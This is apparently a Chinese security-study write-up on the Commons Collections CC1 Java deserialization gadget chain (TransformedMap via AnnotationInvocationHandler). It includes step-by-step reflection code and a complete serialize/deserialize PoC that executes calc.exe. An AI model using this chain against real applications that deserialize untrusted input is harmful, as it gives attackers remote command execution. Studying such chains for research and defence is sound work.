1.介绍
Apache Commons工具包中有⼀个组件叫做 Apache Commons Collections ,其封装了Java 的
Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类,Commons
Collections被⼴泛应⽤于各种Java应⽤的开发,而正是因为在大量web应⽤程序中这些类的实现以及⽅法的调用,导致了反序列化漏洞的普遍性和严重性
Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用
Java的反射机制来调用任意函数,叫做InvokerTransformer,它可通过反射调用类中的方法,从而通过一连串的调用而造成命令执行,这条链便叫做Commons
Collections链(简称cc链)。
在网上公开的CC1链有两条,分别是TransformedMap函数和LazyMap函数gadgets,本篇主要学习分析的是TransformedMap,这条相较起来比较简单
2.环境搭建
- jdk 8u71之前(https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html,在有的高版本中jdk中会修复本漏洞,选择有漏洞的版本)
- CommonsCollections <= 3.2.1
- 下载对应的openjdk源码(https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4)
CC1链对jdk版本有要求,要选择有漏洞的版本.
2.1 sun包源码替换
该链中需要用到sun包中的类,而sun包在jdk中是通过class文件反编译来的,我们没办法直接搜要找的类。所以我们还需要去下载对应的openjdk源码,解压后得到sun包源码,解压 jdk 目录的 src.zip,将sun 包源码拷贝过去,默认里面是没有 sun 包的
我们先下载好jdk之后,进入jdk目录,解压src压缩包
进入我们下载好的openjdk源码的\src\share\classes路径下,复制sun文件夹到我们刚才解压的src目录中
2.2 idea配置
点击项目结构
分别将jdk的src目录分别添加到类路径和源路径中
2.3 CommonsCollections设置
<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency></dependencies>
然后右键pom.xml,再点击 Maven选项,按图上标号顺序点击即可
3.TransformedMap CC1链分析
Transformer 接口是 Apache Commons Collections 库的一部分,通常用于定义一个转换对象的方法,即将输入对象转换为一个输出对象。
3.1 (执行类)Tansformer接口和实现类
在CC1这条链中,起点为Transformer,他是⼀个接⼝,位于org.apache.commons.collections包中
我们查看它的实现类有哪些,并尝试分析一些重要类
3.1.1 ChainedTransformer
Apache Commons Collections 是一个 Java 库,提供了许多扩展和增强的集合类。
ChainedTransformer是该库中的一个类,它实现了Transformer接口,并允许将多个Transformer对象串联起来,形成一个链。当对输入执行transform方法时,它会按顺序通过所有的Transformer对象,每个对象都对结果进行进一步的转换。
transform方法:这是Transformer接口必须实现的方法。在ChainedTransformer中,它遍历iTransformers数组中的每个Transformer,按顺序将每个Transformer的transform方法应用于输入对象,每一步的输出都是下一步的输入。
利用它我们可以构造 Transformer 数组 通过 ChainedTransformer#transform() 的链式调用机制+java的反射机制在反序列化时构造出 Runtime 对象,而不是在序列化之前就实例化 Runtime 对象。这样就可以解决 Runtime 不能序列化的问题。
以下这段代码构造了一个ChainedTransformer攻击方式,这个过程不依赖于 transform() 方法的输入参数,因为转换链已经被设定好了,来执行一个特定的命令序列,即打开计算器。
在这种情况下:
第一个 InvokerTransformer 通过Class.forName(“java.lang.Runtime”) 加载 Runtime 类。
第二个 InvokerTransformer 获取 Runtime 类的 getRuntime 静态方法。
第三个 InvokerTransformer 调用 getRuntime 方法,无需任何输入参数(null 值表示这是一个静态方法调用),这将返回 Runtime 的实例。
第四个 InvokerTransformer 使用 Runtime 实例调用 exec 方法,执行 calc.exe。
这个转换链与 transform() 方法传入的参数无关。换句话说,无论传入什么参数,转换链都会按照上面设定的动作执行,因为这些动作不依赖于任何外部传入的参数。所以,Test.class 在这里只是一个占位符,实际上任何对象都可以作为这个方法的输入。
public class test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(test.class);}
}
如果这个为执行类的话,那么我们就要寻找一个调用它的入口类,而且我们需要传入的参数是class对象
3.1.2 ConstantTransformer
我们看 ConstantTransformer 是如何实现 Transformer 接口的,直接返回了 this.iConstant ,this.iConstant 是在实例化对象时在构造函数里传⼊的⼀个对象。也就是说假如只调用构造方法和transform方法的话,我们传入什么对象,就会原封不动地返回什么对象
我们结合上面的来看,如果我们用ConstantTransformer 包裹一个 class 对象,然后把他放入到我们构造的 Transformer 数组的首位,作为链式调用的起点,那么不管我们传入什么都会返回 Class 类的 Class 对象并继续往下传,那么就不会有必须transform()方法传入为class的限制了,可以选择任何值
public class test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(0);}
}
3.1.3 InvokerTransformer
transform方法是 Transformer 接口的实现,它尝试在传入的对象上调用存储的方法名和参数。首先检查输入对象是否为 null,如果是,则直接返回 null。使用反射机制,基于输入对象的类、方法名和参数类型找到对应的 Method 对象。然后调用该方法,并传入参数值(如果有)。如果过程中出现问题(如找不到方法、方法不可访问、方法调用时抛出异常),则捕获异常并抛出 FunctorException,这通常是Apache Commons Collections定义的异常类型。
像我们上面说的,它的transform()是基于输入对象的类、方法名和参数类型找到对应的 Method 对象。然后调用该方法,并传入参数值(如果有),那么我们尝试构造一段代码来实现反射执行exec方法
public class test {public static void main(String[] args) throws Exception {InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\windows\\system32\\calc.exe"});test.transform(Runtime.getRuntime());}
}
如果这个为执行类的话,我们找到一个入口点readObject,通过直接或间接调用了InvokerTransformer#transform方法是不是就可以了,这样是不行的。在Java序列化过程中,不仅当前对象本身需要实现 Serializable 接口,所有的内部属性(除了被标记为 transient 的字段)也需要是可序列化的。如果任何一个属性对象没有实现 Serializable 接口,那么在尝试序列化该对象时将会抛出一个NotSerializableException。在这里面,Runtime是我们传入的,但是它本身没有实现Serializable接口,所以没办法构成序列化数据。
3.2 (Gadget)寻找哪些调用了执行类
按照反序列化路线,我们找到sink执行类之后,我们查看有哪些类中调用了危险方法
如果下面没有那么多的用法显示,那就是可能是maven没有下载CC包的源代码(卡了我好久,一直以为自己环境有问题 =.=)
我们可以看到找到了这么多的用法,但是应该以什么标准来选择呢
1.首先就是不要找不同类transform()方法调用InvokerTransformer类的transform()方法,这种情况就是transform()方法再去调用transform()方法,没有意义
2.要能序列化,参数类型广泛,优先readObject()
我们主要看一下TransformedMap,首先它是Map系列,另外还有多个方法调用了transform(),会有更大的概率
3.2.1 TransformedMap
根据注释和函数名我们可以知道该类是一个装饰器类,它包装了一个现有的 Map 实例,并提供了一个功能,即在添加键值对时对键和/或值进行转换。这种转换是通过keyTransformer 和valueTransformer 的 transform()方法的实现来完成,并且这两个可以由我们控制传入。当使用put()向其中添加键值对的时候最终也会调用transform()方法,但是这里用的protected修饰符,无法直接引用,需要先通过静态方法decorate()来获得对象实例
关于 public private protected default四个的区别简单如下:
default (即默认,什么也不写): 在同⼀包内可⻅,不使⽤任何修饰符。使⽤对象:类、接⼝、变量、⽅法。
private : 在同⼀类内可⻅。使⽤对象:变量、⽅法。 注意:不能修饰类(外部类)
public : 对所有类可⻅。使⽤对象:类、接⼝、变量、⽅法
protected : 对同⼀包内的类和所有⼦类可⻅。使⽤对象:变量、⽅法。 注意:不能修饰类(外部类)。
我们让传入decorate()的valueTransformer 为 InvokerTransformer 对象,put 时传入的 value 为Runtime.getRuntime(),key 任意
poc构造如下:
public class CC1 {public static void main(String[] args) throws Exception {InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\windows\\system32\\calc.exe"});Map map = new HashMap();Map transformedMap = TransformedMap.decorate(map,null,test);transformedMap.put(1,Runtime.getRuntime());}
}
通过transformedMap.put()触发了
也就是在这里执行了InvokerTransformer.transform()方法
3.2.2 transformKey,transformValue,checkSetValue
接下来我们就要找那个类的方法调用了这三个方法
我们可以看到只有抽象类AbstractInputCheckedMapDecorator中的静态内部类MapEntry()对setVale()进行了调用
而Map.Entry.setValue() 方法是用来更新与Map中的一个特定键相关联的值的。在使Map.Entry遍历Map时,你可以使用这个方法来改变当前遍历到的键值对的值。这个方法会改变原始Map中的值,因为Map.Entry对象是原始Map的一个视图。
当我们调用由TransformedMap类装饰的Map(键值对集合),其Map.Entry(键值对)的setValue方法时,调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法,便会触发 checkSetValue方法,从而触发cc链1
public class CC1 {public static void main(String[] args) throws Exception {InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\windows\\system32\\calc.exe"});Map map = new HashMap();map.put("k","v");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,test);
// transformedMap.put(1,Runtime.getRuntime());for (Map.Entry entry:transformedMap.entrySet()){entry.setValue(Runtime.getRuntime());}}
}
3.3 (Source) 寻找入口类
到了这里我们已经对整个链的认知清晰了起来
- 入口类 xxx.readObject.setValue(接收任意对象执行readObject方法)
- AbstractInputCheckedMapDecorator.MapEntry.setVale()
- TransformedMap.checkSetValue
- InvokerTransformer.transform()
- TransformedMap.checkSetValue
- AbstractInputCheckedMapDecorator.MapEntry.setVale()
我们接下来查询谁调用了setValue(),我们找到了一个可能的入口AnnotationInvocationHandler.readObject(),这个类在sun.reflect.annotation 包中
AnnotationInvocationHandler类没有被public声明(default类型),仅可在同一个包下可访问也就是在外面无法通过名字来调用,因此只可以用反射获取这个类。
通过代码可以知道这个readObject方法接收一个ObjectInputStream对象作为参数,defaultReadObject方法用于读取对象的非静态和非瞬态字段,这些字段在序列化时被写入流中。
这个方法会自动处理字段的类型和顺序,以确保它们与序列化时的状态相匹配。
循环遍历memberValues映射中的每个条目,memberValues是一个在方法外部定义的映射,它包含了注解成员的名称和值。
对于每个成员,它检查成员的类型是否与反序列化得到的值的类型相匹配如果成员的类型与值的类型不匹配,并且值不是ExceptionProxy的实例,那么它会创建一个AnnotationTypeMismatchExceptionProxy对象,并将原始值包装在这个异常代理中,然后设置回memberValues映射中。
构造方法传入两个参数,第一个是注解,第二个是map集合
我们先构造一个利用demo
InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\windows\\system32\\calc.exe"});Map map = new HashMap();map.put("k","v");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,test);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Override.class, transformedMap);serializable(o);unserializable();
3.4 解决链中的问题
3.4.1 Runtime无法序列化
反序列化必须继承Serializable接口,Runtime无法序列化
虽然Runtime无法序列化,但是Class是可以序列化的,Runtime.class
Class c1 = Class.forName("java.lang.Runtime");
Method method = c1.getMethod("exec", String.class);
Method RuntimeMethod = c1.getMethod("getRuntime");
Object m = RuntimeMethod.invoke(null);
method.invoke(m,"C:\\windows\\system32\\calc.exe");
3.4.2 setValue的值无法控制
前面的 Demo 中我们都是直接指定 value 为 Runtime.getRuntime()。但实际上 value 并不能由我们控制。
点进setVale方法,跳转到transformmap中的check⽅法,value为固定的,⽆法控制执⾏任意类
这时候就要联想到恒定转化器 ConstantTransformer 和链式转化器ChainedTransformer 了。创建一个 ConstantTransformer 对象,直接传入 iConstant 为Runtime.getRuntime(),放置在 ChainedTransformer 的 iTransformers 数组的第一个,原先的 InvokerTransformer 对象放在第二个,ChainedTransformer 传入到valueTransformer。这样不管 value 为多少,最终都能弹计算器
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("id",1);
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(ValueDefinition.class, transformedMap);
3.4.3 遍历map中有两个if判断
根据代码来看,AnnotationInvocationHandler 对象在反序列化时会通过 getInstance 获取注解的实例来检查反序列化出来的 type 是否合法,不合法抛出异常,合法就通过 memberTypes()是获取其成员类型(其实就是方法名和返回类型),存储在 HashMap<String,class<?>>中。
遍历反序列化出来的 TransformedMap,逐个获取键名,第一个 if 表达的意思是若该键名与注解实例的某个方法名相同),则获取该键名的值,第二个 if 表达的意思是若注解实例方法的返回类型不是键名对应的值的实例或者键名对应的值是 ExceptionProxy 的实例,则修改键名对应的值。
我们来找一个注解类,发现一个ValueDefinition注解,并且里面有多个方法,我们选一个并且修改我们之前放入的值
map.put("id",1);
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,test);//反射引用AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(ValueDefinition.class, transformedMap);
可以看到我们成功绕过if
3.5 构造POC
package org.example;import com.oracle.jrockit.jfr.ValueDefinition;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();map.put("id",1);Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(ValueDefinition.class, transformedMap);//序列化serializable(o);unserializable();}private static Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}
在上面的poc中将序列化的内容保存到了obj中,我们写一个新的代码调用下
public class CC2 {public static void main(String[] args) throws Exception {unserializable();}private static Object unserializable() throws Exception,IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}
}
3.6 总结
根据咱们上面的分析,从 AnnotationInvocationHandler.readObject()到InvokerTransformer.transform()执行任意代码的 Gadget chain 为:
4 参考文章
https://www.zacarx.com/?post=3
https://blog.csdn.net/Jayjay___/article/details/133621214
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#0x03-Common-Collections-%E7%9B%B8%E5%85%B3%E4%BB%8B%E7%BB%8D